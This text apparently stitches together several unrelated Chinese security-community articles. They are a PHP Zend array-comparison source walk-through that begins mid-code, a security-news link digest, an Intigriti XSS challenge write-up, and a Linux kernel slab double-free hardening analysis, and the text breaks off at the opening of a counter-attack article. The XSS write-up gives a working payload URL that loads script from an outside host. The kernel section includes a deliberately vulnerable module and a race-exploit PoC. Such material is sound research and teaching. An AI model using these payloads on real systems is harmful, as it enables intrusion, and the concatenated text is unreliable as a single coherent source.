op_free = Z_OBJ_HT_P(op2)->get(Z_OBJ_P(op2), &rv);
ret = compare_function(result, op1, op_free);
zend_free_obj_get_result(op_free);
return ret;
} else if (Z_TYPE_P(op1) != IS_OBJECT && Z_OBJ_HT_P(op2)->cast_object) {
ZVAL_UNDEF(&tmp_free);
if (Z_OBJ_HT_P(op2)->cast_object(Z_OBJ_P(op2), &tmp_free, ((Z_TYPE_P(op1) == IS_FALSE || Z_TYPE_P(op1) == IS_TRUE) ? _IS_BOOL : Z_TYPE_P(op1))) == FAILURE) {
ZVAL_LONG(result, -1);
zend_free_obj_get_result(&tmp_free);
return SUCCESS;
}
ret = compare_function(result, op1, &tmp_free);
zend_free_obj_get_result(&tmp_free);
return ret;
} else if (Z_TYPE_P(op1) == IS_OBJECT) {
ZVAL_LONG(result, 1);
return SUCCESS;
}
}
if (!converted) {
if (Z_TYPE_P(op1) < IS_TRUE) {
ZVAL_LONG(result, zval_is_true(op2) ? -1 : 0);
return SUCCESS;
} else if (Z_TYPE_P(op1) == IS_TRUE) {
ZVAL_LONG(result, zval_is_true(op2) ? 0 : 1);
return SUCCESS;
} else if (Z_TYPE_P(op2) < IS_TRUE) {
ZVAL_LONG(result, zval_is_true(op1) ? 1 : 0);
return SUCCESS;
} else if (Z_TYPE_P(op2) == IS_TRUE) {
ZVAL_LONG(result, zval_is_true(op1) ? 0 : -1);
return SUCCESS;
} else {
op1 = zendi_convert_scalar_to_number(op1, &op1_copy, result, 1);
op2 = zendi_convert_scalar_to_number(op2, &op2_copy, result, 1);
if (EG(exception)) {
if (result != op1) {
ZVAL_UNDEF(result);
}
return FAILURE;
}
converted = 1;
}
} else if (Z_TYPE_P(op1)==IS_ARRAY) {
ZVAL_LONG(result, 1);
return SUCCESS;
} else if (Z_TYPE_P(op2)==IS_ARRAY) {
ZVAL_LONG(result, -1);
return SUCCESS;
} else {
ZEND_ASSERT(0);
zend_throw_error(NULL, "Unsupported operand types");
if (result != op1) {
ZVAL_UNDEF(result);
}
return FAILURE;
}
}
}
}
/* }}} */
有点长，想要仔细了解的可以详细看
讲解下
首先
这个先等下说
这里进行swich 判断op1 与 op2 的类型
这里我们先拿第一句进行分析
case TYPE_PAIR(IS_LONG, IS_LONG):
ZVAL_LONG(result, Z_LVAL_P(op1)>Z_LVAL_P(op2)?1:(Z_LVAL_P(op1)<Z_LVAL_P(op2)?-1:0));
return SUCCESS;
这里op1与op2都是IS_LONG类型
PHP中一共如下八种数据类型，具体想了解可以[看这](http://wiki.jikexueyuan.com/project/extending-embedding-php/2.1.html)
所以IS_LONG是一种PHP种的整型。
ZVAL_LONG(result, Z_LVAL_P(op1)>Z_LVAL_P(op2)?1:(Z_LVAL_P(op1)<Z_LVAL_P(op2)?-1:0));
这句的意思是进行比较OP1，OP2的大小分别返回-1，0，1到result，
这里的result是有作用的，
这里有一个ZVAL_BOOL函数进行判断，用于设置布尔值的zval ，ZVAL_BOOL就是定义这个zval的类型为bool。
#define ZVAL_BOOL(z, b) do {
Z_TYPE_INFO_P(z) =
(b) ? IS_TRUE : IS_FALSE;
} while (0)
换成当前的场景
result为z ，(Z_LVAL_P(result) < 0)为b
z 为用于设置布尔值的zval
b 为 设置的布尔值
这个函数 名是is_smaller_function具体意思已经很明显了
只有 Z_LVAL_P(result) < 0，当result=-1
（即op1<op2的时候 result才为-1）
才会使b=1 并且使得
(b) ? IS_TRUE : IS_FALSE; 判断为IS_TRUE
并使得Z_TYPE_INFO_P(result) 为IS_TRUE，
最后就是根据Z_TYPE_INFO_P(result) 使IS_TRUE或者IS_FALSE来判断究竟是否小于
下一句
因为两个值是可以进行比较的它会return SUCCESS，我是这么理解的
如果有人看到这里，对于PHP究竟是如何判断大小应该有了基本的认识了吧
回到我们最开始的问题
那么我们就应该取寻找OP1与OP2分别为array类型与IS_LONG的case
与OP1与OP2分别为array类型与array类型
当然阅读这些case的时候又冒出了个问题
这个又是什么意思呢？
经过查询我们可以知道这句话来源于
#define Z_ISREF(zval) (Z_TYPE(zval) == IS_REFERENCE)
其意思为
该zval检查它是否是一个引用类型，姑且认为是判断这个变量是否属于PHP八种变量中的一种，
那么IS_REFERENCE又是什么呢
> 此类型用于表示a
> zval是PHP引用。引用的值zval需要首先解除引用才能使用它。这可以使用ZVAL_DEREF或Z_REF宏来完成。zval可以检查A
> 以查看它是否是Z_ISREF宏的引用。
姑且认为这个意思是zaval确实是PHP引用的变量之一
那么整句话的我的理解是，当发生default:的时候假如OP1,OP2是PHP引用变量之一那么就继续
接下来的几个case都不属于我们想要的情况
直到
if (!converted) {
if (Z_TYPE_P(op1) < IS_TRUE) {
ZVAL_LONG(result, zval_is_true(op2) ? -1 : 0);
return SUCCESS;
} else if (Z_TYPE_P(op1) == IS_TRUE) {
ZVAL_LONG(result, zval_is_true(op2) ? 0 : 1);
return SUCCESS;
} else if (Z_TYPE_P(op2) < IS_TRUE) {
ZVAL_LONG(result, zval_is_true(op1) ? 1 : 0);
return SUCCESS;
} else if (Z_TYPE_P(op2) == IS_TRUE) {
ZVAL_LONG(result, zval_is_true(op1) ? 0 : -1);
return SUCCESS;
} else {
op1 = zendi_convert_scalar_to_number(op1, &op1_copy, result, 1);
op2 = zendi_convert_scalar_to_number(op2, &op2_copy, result, 1);
if (EG(exception)) {
if (result != op1) {
ZVAL_UNDEF(result);
}
return FAILURE;
}
converted = 1;
}
} else if (Z_TYPE_P(op1)==IS_ARRAY) {
ZVAL_LONG(result, 1);
return SUCCESS;
} else if (Z_TYPE_P(op2)==IS_ARRAY) {
ZVAL_LONG(result, -1);
return SUCCESS;
} else {
ZEND_ASSERT(0);
zend_throw_error(NULL, "Unsupported operand types");
if (result != op1) {
ZVAL_UNDEF(result);
}
return FAILURE;
}
因为在函数的开头converted=0
所以!converted=1是正确的，
我们跟进这个判断
发现
这边只要op1为IS_ARRAY类型的变量就result直接就为1了
这也解释了我们之前的问题
为什么[]无论是比较1，0，-1都是返回true
以及PHP手册中
中的这个问题
当然我们依旧留存下一个问题
为什么这个也是恒真的呢？
可以清楚看到左右两边都是数组，我们需要找到arrary与arrary的这种case
在最开始没几行就可以找到了
这里有一个函数zend_compare_arrays
我们跟进一下
我们可以看到它返回了一个zend_compare_symbol_tables函数
我们再跟进下
当然在传入参数的时候又经历了Z_ARRVAL_P(a1)的变化
Z_ARRVAL_P(a1)源自
> define Z_ARRVAL(zval) Z_ARR(zval)
大概的含义是从数组中抓取hash值，
这里需要传入HashTable *ht1
那么HashTable 又是什么呢？
> 在学数据结构的时候我们都有学到hash，
>
> 其实对于hashtable我之前的印象是比如python中的字典它的原理就是采取hash表，即采取键值对的方式进行查询数据，比起链表等方式查询无疑是要快的多
那么这里的hashtable又是否和我想的一样呢？具体看[这里](http://www.php-internals.com/book/?p=chapt03/03-01-02-hashtable-in-php)
> PHP内核中的哈希表是十分重要的数据结构，PHP的大部分的语言特性都是基于哈希表实现的，
> 例如：变量的作用域、函数表、类的属性、方法等，Zend引擎内部的很多数据都是保存在哈希表中的。
>
> PHP中的哈希表实现在Zend/zend_hash.c中，先看看PHP实现中的数据结构，
> PHP使用如下两个数据结构来实现哈希表，HashTable结构体用于保存整个哈希表需要的基本信息， 而Bucket结构体用于保存具体的数据内容，如下：
typedef struct _hashtable {
uint nTableSize; // hash Bucket的大小，最小为8，以2x增长。
uint nTableMask; // nTableSize-1 ， 索引取值的优化
uint nNumOfElements; // hash Bucket中当前存在的元素个数，count()函数会直接返回此值
ulong nNextFreeElement; // 下一个数字索引的位置
Bucket *pInternalPointer; // 当前遍历的指针（foreach比for快的原因之一）
Bucket *pListHead; // 存储数组头元素指针
Bucket *pListTail; // 存储数组尾元素指针
Bucket **arBuckets; // 存储hash数组
dtor_func_t pDestructor; // 在删除元素时执行的回调函数，用于资源的释放
zend_bool persistent; //指出了Bucket内存分配的方式。如果persisient为TRUE，则使用操作系统本身的内存分配函数为Bucket分配内存，否则使用PHP的内存分配函数。
unsigned char nApplyCount; // 标记当前hash Bucket被递归访问的次数（防止多次递归）
zend_bool bApplyProtection;// 标记当前hash桶允许不允许多次访问，不允许时，最多只能递归3次
#if ZEND_DEBUG
int inconsistent;
#endif
} HashTable;
当然如果要详细讲PHP中的hashtable讲清楚肯定要再写另一篇博客，这里我们就只讲这里所需要的原理
这里进行两个参数的判断，当两个参数hash值相等时候就返回0
我们可以直接看看php数组的hash，具体点[这里](https://www.jianshu.com/p/3f1d0f9907a1)
这是在PHP5.6的数组结构
我们可以看到，数组本质就是一个hashtable结构，左侧的0~nTablemask便是hash下标，而后面有一个双向链表，便是我们通常所说的hash冲突的链地址法。
这是PHP7.0的数组结构
Bucket结构便是我们所说的保存插入数据的结构。主要包括：key(字符串，如果是数字下标，转化位字符串), value,
h(只会计算一次，如果是数组下标，直接把key作为h)。
稍稍回到原题，我们进行比较的就是Bucket结构中的hash值
那么hash值是怎么比较的呢？
我们查找zend_hash_compare函数到底是什么意思
> int zend_hash_compare(
> HashTable _ht1, HashTable_ ht2, compare_func_t compar, zend_bool ordered
> TSRMLS_DC
> );
我们查询了hashtable的api具体想了解可以看<a
href=’http://www.phpinternalsbook.com/hashtables/hashtable_api.html’>这里</a>
这里有一句话
> The return has the same meaning as compare_func_t. The function first
> compares the length of the arrays. If they differ, then the array with the
> larger length is considered greater. What happens when the length is the
> same depends on the ordered parameter:
> For ordered=0 (not taking order into account) the function will walk
> through the buckets of the first hashtable and always look up if the second
> hashtable has an element with the same key. If it doesn’t, then the first
> hashtable is considered greater. If it does, then the compar function is
> invoked on the values.
> For ordered=1 (taking order into account) both hashtables will be walked
> simultaneously. For each element first the key is compared and if it matches
> the value is compared using compar.
> This is continued until either one of the comparisons returns a non-zero
> value (in which case the result of the comparison will also be the result of
> zend_hash_compare()) or until no more elements are available. In the latter
> case the hashtables are considered equal.
解释一下
这里先会判断这两个数组参数的长度。如果它们不同，则认为具有较大长度的阵列更大
这也就能说明为什么我们前面的问题是恒真了吧
当然当长度相同比如[7],与[6]
会遍历第一个数组，假如第一个数组的元素，并始终查找第二个哈希表是否具有相同键的元素。如果没有，那么第一个哈希表被认为更大，
看到这里大家的疑惑都解决了吧
## 后记
通过这次探寻，我深刻发现到往往很多我们认为是常识的东西都有着很多极其复杂的原理，我们认识一件事物的时候不能仅仅只凭借表面现象就根据自己直觉来得出结论，虽然有的时候得出的结果是一样的，但是我们并不能够真正理解这个结论到底为何而来。 | 社区文章 |
# 【知识】5月9日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Microsoft恶意软件防护引擎远程执行代码漏洞（CVE-2017-0290）、** **MsMpEng是默认情况下在Windows
8,8.1,10，Windows Server 2012等上启用的恶意软件防护服务，存在远程可利用的类型混淆漏洞
、本地搭建wooyun8.8w漏洞库、第三届 SSCTF 全国网络安全大赛—线上赛官方 Writeup 、发掘十个知名大厂XSS漏洞的故事、**
**SSCTF pwn450 Windows Kernel Exploitation Writeup**
**
**
**资讯类：**
* * *
****
****
****
****
[](https://www.hackread.com/darkoverlord-hacks-westpark-capital-bank/)
Google Project Zero研究员发现一个可怕的Windows远程代码执行漏洞
<https://threatpost.com/wormable-windows-zero-day-reported-to-microsoft/125513/>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
Microsoft恶意软件防护引擎远程执行代码漏洞（CVE-2017-0290）
<http://bobao.360.cn/learning/detail/3826.html>
Oracle Golden Gate远程上传漏洞
<https://blog.silentsignal.eu/2017/05/08/fools-of-golden-gate/>
CVE-2017-5689：intel_amt_bypass
<https://github.com/kd0kkv/intel_amt_bypass>
Google对开源软件fuzz测试五个月的成果
<https://opensource.googleblog.com/2017/05/oss-fuzz-five-months-later-and.html>
绕过OTR签名验证以窃取iCloud钥匙串秘密
<https://medium.com/@longtermsec/bypassing-otr-signature-verification-to-steal-icloud-keychain-secrets-9e92ab55b605>
关于英特尔Intel's Management Engine的几个需要了解的问题
<https://www.eff.org/deeplinks/2017/05/intels-management-engine-security-hazard-and-users-need-way-disable-it>
BSidesCBR 2017 CTF Write-Up: DerpChat
<http://paulsec.github.io/blog/2017/05/07/bsidescbr-2017-ctf-write-up-derpchat/>
本地搭建wooyun8.8w漏洞库
<https://zhuanlan.zhihu.com/p/26759783>
SSCTF pwn450 Windows Kernel Exploitation Writeup
<http://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html>
第三届 SSCTF 全国网络安全大赛—线上赛官方 Writeup
<http://bobao.360.cn/ctf/detail/197.html>
第三届 SSCTF 全国网络安全大赛—线上赛 Writeup
<http://bobao.360.cn/ctf/detail/195.html>
Java反序列化漏洞
[https://forum.90sec.org/forum.php?mod=viewthread&tid=10514](https://forum.90sec.org/forum.php?mod=viewthread&tid=10514)
AD ACL Scanner：一款扫描ad权限生成报告的小工具
<https://4sysops.com/archives/ad-acl-scanner-easily-generate-active-directory-permissions-reports/>
MsMpEng是默认情况下在Windows 8,8.1,10，Windows Server 2012等上启用的恶意软件防护服务，存在远程可利用的类型混淆漏洞
[https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5](https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5)
<https://technet.microsoft.com/en-us/library/security/4022344>
发掘十个知名大厂XSS漏洞的故事
<http://fsecurify.com/ATaleofTenXssInTheWild_Fsecurify.pdf>
深度学习的一些papers
<https://github.com/sbrugman/deep-learning-papers>
渗透分析Android apps第五部分：Heap Dump
<https://securingtomorrow.mcafee.com/technical-how-to/pen-testing-android-apps-part-5-analyzing-heap-dump/>
flare-floss：FireEye Labs去混淆的工具
<https://github.com/fireeye/flare-floss>
通过恶意的Microsoft Office Word hta 远程控制PC
<http://www.hackingarticles.in/exploit-remote-pc-using-microsoft-office-word-malicious-hta-execution/>
通过.cshtml 从404页面和默认页面到RCE
<https://niemand.com.ar/2017/05/05/from-404-and-default-pages-to-rce-via-cshtml-webshell/>
Gmail的一个接口，可以验证邮箱是否存在
<https://blog.0day.rocks/abusing-gmail-to-get-previously-unlisted-e-mail-addresses-41544b62b2>
PwnBin – Python Pastebin搜索工具
<https://www.darknet.org.uk/2017/05/pwnbin-python-pastebin-search-tool/> | 社区文章 |
## 分析题目
在访问[Challenge.intigriti.io](https://challenge.intigriti.io/
"Challenge.intigriti.io") 时，显示以下页面
引起我的注意：我看到的第一件事是黑体字，指出XSS仅在Firefox（恰好是我的主要浏览器）中工作。考虑到这一点，我按了CTRL +
U来查看页面的静态HTML。这是一个截图：
以下HTML是页面中对JavaScript的唯一引用（当然，不包括可见文本）：
<script async src="widgets.js" charset="utf-8"></script>
我看了一下，`widgets.js`乍看之下，我看到了一个压缩的JavaScript文件，其中包含对Twitter的一些引用。经过进一步检查，我意识到它可能只是`https://platform.twitter.com/widgets.js`的复制和粘贴。我对文件进行了区分，是的，它们基本上是相同的。这时，我只是假设里面的代码`widgets.js`是安全的。
尽管其中一个列表条目指出XSS“应在此页面上执行”，但我还是决定四处寻找其他文件。
我在`https://challenge.intigriti.io/robots.txt`上看看是否有什么有趣的事情。我确实获得了新的信息，但是没有达到我期望的形式。它只是返回了与以前完全相同的页面。这意味着可以从其他路径访问目标页面，这也很有用。
接下来，我测试了`https://challenge.intigriti.io/a/`，结果如下：
那么，这里发生了什么？提供了完全相同的HTML，但是由于URL的路径组件包括一个未转义的`/`，
**浏览器视`a/`为目录，并试图从那里加载相对的子资源**。换句话说，浏览器正在尝试加载`/a/style.css`和`/a/widgets.js`而不是`/style.css`和`/widgets.js`。(顺便说一句，此名称的实际名称是相对的路径覆盖。）
在测试时发现`https://challenge.intigriti.io//<location>`是一个开放重定向。例如，`https://challenge.intigriti.io//physuru.github.io`重定向到`https://physuru.github.io`。另外，访问`https://challenge.intigriti.io//`（在两个斜杠之后没有任何内容）没有重定向，而是加载了默认页面。现在，我的目标很明确。
**我必须让Web浏览器同时使用路径覆盖和开放重定向来加载`widgets.js`**。
最后使用的一步是[路径遍历](https://bugzilla.mozilla.org/show_bug.cgi?id=1042347 "路径遍历")。
我确实在这部分卡住了一段时间。
我很快发现Firefox和（大多数）其他浏览器之间的区别，但是我不知道如何应用它。区别在于，在Firefox中，如果满足以下条件，则不会删除两个点（`..`）和先前的路径组件：
* 点在路径的尽头
* 这些点中至少有一个是百分比编码的
例如，
**如果要加载`https://challenge.intigriti.io/abc/.%2E`（在Firefox中）的任何（合理）变体，则尾随点（以及先前的路径组件）将保留**。
## 解决题目
根据上面的分析，我们可以结合重定向和路径遍历来解决题目
`https://challenge.intigriti.io//physuru.github.io%252fintigriti_may_2020_solution/.%2E`
## 原理分析
加载`https://challenge.intigriti.io/a/.%2E`（在Firefox中）时，我们会得到默认页面（即`https://challenge.intigriti.io`页面）！！
这意味着服务器认为我正在请求`https://challenge.intigriti.io//`。换句话说，服务器看到了`a/`，但是随后看到了`.%2E`。将`.%2E`被解析为`..`，这意味着整个`a/.%2E`,URL的一部分基本上忽略（因此不会重定向，而是得到了默认页面）。
但是由于路径遍历仅在服务器端，因此浏览器仍将从`//a`中加载相对子资源的目录！因此，浏览器任然向`https//a/widgets.js`发出请求，该请求确实被重定向到`https://a/widgets.js`。
在`https://physuru.github.io/intigriti_may_2020_solution/`的目录下存在`widgets.js`。我们可以用
`https://challenge.intigriti.io//physuru.github.io%252fintigriti_may_2020_solution/.%2E`
来加载JavaScript文件。
`%252f`使用的url双重编码，因为还要重定向一次，需要解码两次.
## 注意
用于重定向的url需要使用https,所以直接使用本地(http)测试不会成功。
如果你想使用github的gists，也不能使用。
参考
<https://physuru.github.io/blog/posts/intigriti_may_2020_challenge/> | 社区文章 |
作者：[zerons, Shawn](https://hardenedlinux.github.io/system-security/2017/12/02/linux_kernel_4.14%E7%9A%84SLAB_FREELIST_HARDENED%E7%9A%84%E7%AE%80%E8%A6%81%E5%88%86%E6%9E%90.html?nsukey=D3MRM%2BIaOSiup9lNI9JP8vslv3UWopP%2FkD%2BvrANn5a49VgnvYhVMPCMv6sBTsi1cTxQCLjcIcd2GvrqZISJxA3LINp%2Bhlh%2FD2sG6l3iWqFRcDdcN70P6EGDL7bbaenz77CaiCKoTyjXrZPkTkTjnEga70OfZ4YO%2BESIvEfC33PfcRTcnPOdRLOnz8stw6HW4Z5OXsPUmAnDV3aEEIkxFJw%3D%3D&from=timeline&isappinstalled=0
"zerons, Shawn")
在之前的文档[linux kernel double-free类型漏洞的利用](https://github.com/snorez/blog/blob/master/linux%20kernel%20double-free%E7%B1%BB%E5%9E%8B%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8.md "linux
kernel double-free类型漏洞的利用")中提到了SLUB的一个特性(FILO), 在slub中实现了一个单向链表,
每个节点的下一个元素保存在这个节点指向的内存的一个偏移处(kmem_cache->offset). 在double free环境中,
导致这个链表出现一个环, 于是后续的申请能得到指向同一个空间的两个对象.
本文会介绍一种由补丁引起的另外一种可利用的思路(只适用一种场景).
#### 本文讨论的相关补丁
PATCH 0: [add a naive detection of double free or
corruption](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ce6fa91b93630396ca220c33dd38ffc62686d499
"add a naive detection of double free or corruption") PATCH 1: [add SLUB free
list pointer
obfuscation](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2482ddec
"add SLUB free list pointer obfuscation")
Shawn: SLAB_FREELIST_HARDENED中最重要的特性, 来自于2016年PaX/Grsecurity针对v4.8内核的代码
PATCH 2: [prefetch next freelist pointer in
slab_alloc](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0ad9500e1
"prefetch next freelist pointer in slab_alloc")
#### PATCH 0
在`set_freepointer(struct kmem_cache *s, void *object, void *fp)`函数中, 添加一个检测
BUG_ON(object == fp);
在kfree的时候, object为将要释放的地址, fp来源于page结构体中的freelist成员, freelist指向当前可用的空间的地址.
BUG_ON检测的条件就是如果freelist指向了当前要释放的空间, 即产生崩溃(CONFIG_PANIC_ON_OOPS)/终止触发的进程(no
panic_on_oops)
对这个补丁后面会详细说明.
#### PATCH 1
这个补丁修改了保存在每个释放的空间的数据, 也就是freelist那个链表不再是直接取数据就能用的, 需要进行逆运算才能得到下一个空间的地址.
运算过程在freelist_ptr函数中
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
return (void *)((unsigned long)ptr ^ s->random ^ ptr_addr);
#else
return ptr;
#endif
}
参数s通常来源于kmalloc_caches这个全局数组对应偏移, 比如kmalloc-8192的数组索引为13(2的13次方).
random成员在`kmem_cache_open`函数中赋值.
#### PATCH 2
这个补丁, 很早就加入了系统(2011年?)
static inline void *freelist_dereference(const struct kmem_cache *s,
void *ptr_addr)
{
return freelist_ptr(s, (void *)*(unsigned long *)(ptr_addr),
(unsigned long)ptr_addr);
}
static void prefetch_freepointer(const struct kmem_cache *s, void *object)
{
if (object)
prefetch(freelist_dereference(s, object + s->offset));
}
当object不为空的时候, 检测object的下一个可用成员是否合法.
#### 回到double free的环境
这里考虑如下的double free环境, 在一个线程中运行了如下的代码
kfree(a);
kfree(b);
kfree(a);
在执行完成之后, 会有下面的一个’环’
freelist = a
*(unsigned long *)a = b;
*(unsigned long *)b = a;
按照之前的利用思路, 那么当
申请到a对象的时候, freelist=b
申请到b对象的时候, freelist=a?
这个地方其实就会出问题了. 由于我们并不能保证 **申请的对象不写任何空间** , 尤其是(s->offset)位置的数据.
假设我们用kzalloc函数申请到了a, 在申请对象b的时候
在函数slab_alloc_node中
static __always_inline void *slab_alloc_node(struct kmem_cache *s,
gfp_t gfpflags, int node, unsigned long addr)
{
void *object;
struct kmem_cache_cpu *c;
struct page *page;
unsigned long tid;
/* ... */
object = c->freelist;
page = c->page;
if (unlikely(!object || !node_match(page, node))) {
/* ... */
} else {
void *next_object = get_freepointer_safe(s, object);
/* ... */
/*
* 在这个地方调用了prefetch_freepointer
* next_object即为a
*/
prefetch_freepointer(s, next_object);
stat(s, ALLOC_FASTPATH);
}
/* ... */
return object;
}
在prefetch_freepointer中, object为a, 但是此时`*(unsigned long *)a`的值为0.
然后在freelist_ptr时, ptr为保存在a中的xor值(此时为0), ptr_addr值为a, 运算得到下一个对象的地址就乱了,
通常会是一个非法地址.
至此, 这种利用方法被这两种方法挡住了.
#### 回到PATCH 0
**由于多数发行版未开启panic_on_oops, 下面的讨论只在没有panic_on_oops情况下有效**
这个补丁原本是用于检测一些double free的bug的. 但是它存在一些竞争, 导致一些意外情况.
补丁只能检测在一个线程中连续执行`kfree(a) kfree(a)`的情况, 即类似cve-2017-2636的情况
回到补丁上, fp是freelist的值, object是当前准备释放的地址.
如果在第一次kfree(a)之后, 另外的线程获得了执行, 然后执行kfree(b)(b需要相当接近a)修改了freelist的值,
那么就可以造成类似`kfree(a) kfree(b) ... kfree(a)`的情况, 补丁并没起作用.
同样, 在第一次kfree(a)之后, 另外的线程获得了执行, 然后执行了kmalloc修改了freelist的值, 那么就如同`kfree(a)
kmalloc()->a, kfree(a), kmalloc()->a`的情况. **获得指向同一个地址的两个对象**
问题在于, 补丁使用了BUG_ON, 使得用户空间程序可以检测内核的某种状态, 当其他的线程能竞争成功的时候, 触发double-free的线程得以成功退出.
那么也就成了, 这个补丁原本是为了检测什么类型的漏洞, 导致这种漏洞是有可能来利用的,
毕竟它允许我们一直竞争下去直到成功竞争..(测试中kfree竞争kfree相对比较容易, 通常几秒得到. 用kmalloc来竞争kfree, 比较难得到).
###### 一个猜想
在未开启panic_on_oops的场景下, 内核代码中使用了挺多的BUG_ON, 会不会有其他的检测的condition会存在类似的竞争情况呢?
#### 纵深防御
Shawn: 不论是use-after-free，double free还是race
condition导致的任意执行和读写，单一的防御是远远不够的，PATCH
0是一个典型的例子，即使在[通用的PaX/Grsecurity加固](https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/kernel_mitigation.md
"通用的PaX/Grsecurity加固")方案在这个case中有多个防御机制等待突破，而其中至少有4个防御机制形成了盾牌链条。
#### 测试用例
测试用例主要是演示这种情景, 演示视频
mod_test.c
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/proc_fs.h>
#include <linux/delay.h>
#include <linux/uaccess.h>
#define TARGET_SLAB_SIZE 8192
struct test_ll {
struct list_head sibling;
char *buf;
int flag;
};
static int test_file_open(struct inode *ino, struct file *filp)
{
if (likely(!filp->private_data)) {
filp->private_data = kmalloc(sizeof(struct list_head), GFP_KERNEL);
if (!filp->private_data)
return -ENOMEM;
INIT_LIST_HEAD(filp->private_data);
}
return 0;
}
static long test_file_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
switch (cmd) {
case 0xa1: /* create node */
{
struct test_ll *new;
new = kzalloc(sizeof(*new), GFP_KERNEL);
if (!new)
return -ENOMEM;
new->buf = kzalloc(TARGET_SLAB_SIZE, GFP_KERNEL);
if (!new->buf) {
kfree(new);
return -ENOMEM;
}
list_add_tail(&new->sibling, filp->private_data);
return (long)new->buf;
}
case 0xa2: /* add a same node to the tail */
{
struct test_ll *new, *tail;
new = kzalloc(sizeof(*new), GFP_KERNEL);
if (!new)
return -ENOMEM;
tail = container_of(((struct list_head *)filp->private_data)->prev,
struct test_ll, sibling);
new->buf = tail->buf;
tail->flag = 1;
list_add_tail(&new->sibling, filp->private_data);
return (long)new->buf;
}
case 0xa3: /* double free */
{
struct list_head *head = (struct list_head *)filp->private_data;
struct test_ll *tmp, *next;
unsigned long i = 0;
list_for_each_entry_safe(tmp, next, head, sibling) {
list_del(&tmp->sibling);
kfree(tmp->buf);
if (unlikely(tmp->flag))
msleep(1);
kfree(tmp);
}
kfree(filp->private_data);
return 0;
}
default:
return -EINVAL;
}
}
struct file_operations test_ops = {
.owner = THIS_MODULE,
.open = test_file_open,
.unlocked_ioctl = test_file_ioctl,
};
static struct proc_dir_entry *test_entry;
static int __init test_init(void)
{
test_entry = proc_create("test_double-free", S_IRUSR | S_IWUSR | S_IROTH |
S_IWOTH, NULL, &test_ops);
if (!test_entry) {
pr_err("proc_create err\n");
return -1;
}
return 0;
}
static void __exit test_exit(void)
{
proc_remove(test_entry);
return;
}
MODULE_LICENSE("GPL");
module_init(test_init);
module_exit(test_exit);
poc.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/tty.h>
#include <termios.h>
#include <syscall.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <pthread.h>
static char *target_path = "/proc/test_double-free";
#define fd_cnt 1
#define alloc_times 0x100
int fd[fd_cnt];
int open_target_file(void)
{
return open(target_path, O_RDWR);
}
int alloc_8192_buf(int fd)
{
return ioctl(fd, 0xa1, NULL);
}
int add_same_buf(int fd)
{
return ioctl(fd, 0xa2, NULL);
}
int do_double_free(int fd)
{
return ioctl(fd, 0xa3, NULL);
}
int do_release(int fd)
{
return ioctl(fd, 0xa3, NULL);
}
#define BUF_PER_FD 0x1000
#define THREADS_RACE 0x10
int buf_fd[THREADS_RACE];
int addr[BUF_PER_FD * THREADS_RACE];
void *thread_alloc_buf(void *arg)
{
int idx = (int)arg;
int i = 0;
int start = idx * BUF_PER_FD;
int end = (idx + 1) * BUF_PER_FD;
for (int i = start; i < end; i++) {
addr[i] = alloc_8192_buf(buf_fd[idx]);
}
return (void *)0;
}
int main(int argc, char *argv[])
{
int err;
int i = 0;
while (1) {
for (i = 0; i < THREADS_RACE; i++)
buf_fd[i] = open_target_file();
int pid;
if ((pid = fork()) < 0) {
perror("fork");
} else if (pid == 0) {
for (i = 0; i < fd_cnt; i++)
fd[i] = open_target_file();
for (i = 0; i < fd_cnt; i++)
for (int j = 0; j < alloc_times; j++)
alloc_8192_buf(fd[i]);
err = add_same_buf(fd[0]);
fprintf(stderr, "double free at: %x\n", err);
do_double_free(fd[0]);
return 0;
}
int pid_status;
pthread_t thread[THREADS_RACE];
for (i = 0; i < THREADS_RACE; i++) {
err = pthread_create(&thread[i], NULL,
thread_alloc_buf,
(void *)i);
if (err == -1)
thread[i] = NULL;
}
for (i = 0; i < THREADS_RACE; i++)
pthread_join(thread[i], NULL);
waitpid(pid, &pid_status, 0);
if (WIFEXITED(pid_status)) {
fprintf(stdout, "child ret: %d\n", pid_status);
break;
}
for (i = 0; i < THREADS_RACE; i++) {
do_release(buf_fd[i]);
close(buf_fd[i]);
}
}
for (i = 0; i < THREADS_RACE * BUF_PER_FD; i++) {
fprintf(stderr, "%d: %x\n", i, addr[i]);
}
getchar();
for (i = 0; i < THREADS_RACE; i++) {
do_release(buf_fd[i]);
close(buf_fd[i]);
buf_fd[i] = -1;
}
return 0;
}
* * * | 社区文章 |
# HW多人运动溯源及反制 “指北”
## 前言
笔者片面的从多年乙方经验（不涉及监管层面能拿到的数据）的技术层面来讨论下大hw
多人运动下的溯源反制思路，以及作为反制团队如何与蓝队其他成员之间进行配合反制相关的工作。 如有写的不对的地方及遗漏的地方（肯定有的），请多多交流。
以下内容纯属虚构，如有雷同纯属巧合。
## 反制团队架构设计
反制团队的建设
当一个事件产生，从蓝队的大流程中过来，经过了监控、分析、研判、应急等流程，作为反制，我们的目的是为了获取红队相关基础设施的权限、以及进一步反制溯源到人员。
